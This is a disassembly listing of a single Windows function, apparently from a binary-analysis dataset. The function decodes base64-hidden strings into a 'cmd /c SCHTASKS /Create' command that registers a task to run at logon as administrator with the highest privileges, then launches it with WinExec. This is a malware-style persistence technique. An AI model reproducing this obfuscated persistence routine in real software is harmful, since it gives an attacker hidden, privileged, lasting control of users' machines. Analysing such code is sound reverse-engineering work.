Function at 0x140007ef0
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x200
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140120100]
xor rax, rsp
mov qword [rbp + 0xe8], rax
mov rdi, rdx
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea r8d, [r12 + 0x30]
lea rdx, str.IC9STCBISUdIRVNUICAvU0MgT05MT0dPTiAvRiAIE5VTA
lea rcx, [rbp - 0x18]
call fcn.140002a40
nop
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xa8]
call fcn.14000f814
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea r8d, [r12 + 0x20]
lea rdx, str.IC9SVSBhZG1pbmlzdHJhdG9yIC9UTiA
lea rcx, [rbp - 0x38]
call fcn.140002a40
nop
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x88]
call fcn.14000f814
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea r8d, [r12 + 0x28]
lea rdx, str.Y21kIC9jIFNDSFRBU0tTIC9DcmVhdGUgL1RSIA
lea rcx, [rbp - 0x58]
call fcn.140002a40
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x68]
call fcn.14000f814
nop
lea r8d, [r12 + 4]
lea rdx, [0x1400782a4]
mov rcx, rax
call fcn.140004d74
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
lea r15d, [r12 + 0xf]
mov qword [rax + 0x18], r15
mov byte [rax], r12b
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], r15
jbe 0x140008021
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140004d74
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x10], r12
mov byte [rax], r12b
mov r8d, 4
lea rdx, [0x1400782a4]
lea rcx, [rsp + 0x60]
call fcn.140004d74
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x10], r12
mov byte [rax], r12b
mov r8, r14
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x28]
call fcn.140005d3c
nop
mov edi, 1
mov r8d, edi
lea rdx, [0x14007827c]
mov rcx, rax
call fcn.140004d74
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], r12b
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], r15
jbe 0x1400080ed
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140004d74
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x10], r12
mov byte [rax], r12b
mov r8, rdi
lea rdx, [0x14007827c]
lea rcx, [rsp + 0x20]
call fcn.140004d74
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], r12b
mov r8, rsi
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc8]
call fcn.140005d3c
nop
mov ebx, 0x1000
mov edi, 0x27
lea esi, [rdi - 8]
mov rdx, qword [rbp + 0x20]
cmp rdx, r15
jbe 0x1400081ab
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rbx
jb 0x1400081a5
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000851f
call fcn.140039d60
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, r15
jbe 0x1400081e1
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, rbx
jb 0x1400081dc
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008525
call fcn.140039d60
movdqa xmm6, xmmword [0x1401148d0]
movdqu xmmword [rsp + 0x30], xmm6
mov byte [rsp + 0x20], r12b
mov rdx, qword [rsp + 0x58]
cmp rdx, r15
jbe 0x14000822a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x140008225
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000852b
call fcn.140039d60
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], r12b
mov rdx, qword [rbp + 0x40]
cmp rdx, r15
jbe 0x140008269
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, rbx
jb 0x140008264
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008531
call fcn.140039d60
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], r12b
mov rdx, qword [rbp + 0x60]
cmp rdx, r15
jbe 0x1400082a7
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, rbx
jb 0x1400082a1
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008537
call fcn.140039d60
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r15
jbe 0x1400082dd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x1400082d8
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000853d
call fcn.140039d60
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, r15
jbe 0x14000831c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x140008317
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008543
call fcn.140039d60
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], r12b
mov rdx, qword [rbp + 0x80]
cmp rdx, r15
jbe 0x14000835c
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, rbx
jb 0x140008357
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008549
call fcn.140039d60
movdqu xmmword [rbp + 0x78], xmm6
mov byte [rbp + 0x68], r12b
mov rdx, qword [rbp - 0x40]
cmp rdx, r15
jbe 0x14000839a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, rbx
jb 0x140008394
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000854f
call fcn.140039d60
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, r15
jbe 0x1400083d4
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, rbx
jb 0x1400083cf
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008555
call fcn.140039d60
movdqu xmmword [rbp + 0x98], xmm6
mov byte [rbp + 0x88], r12b
mov rdx, qword [rbp - 0x20]
cmp rdx, r15
jbe 0x140008418
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, rbx
jb 0x140008412
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000855b
call fcn.140039d60
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, r15
jbe 0x140008452
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, rbx
jb 0x14000844d
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008561
call fcn.140039d60
movdqu xmmword [rbp + 0xb8], xmm6
mov byte [rbp + 0xa8], r12b
mov rdx, qword [rbp]
cmp rdx, r15
jbe 0x140008495
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rbx
jb 0x140008490
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008567
call fcn.140039d60
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], r15
cmova rcx, qword [rbp + 0xc8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rbp + 0xe0]
cmp rdx, r15
jbe 0x1400084e9
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, rbx
jb 0x1400084e4
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008519
call fcn.140039d60
mov rcx, qword [rbp + 0xe8]
xor rcx, rsp
call fcn.140039d40
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
nop
call fcn.1400403c0
int3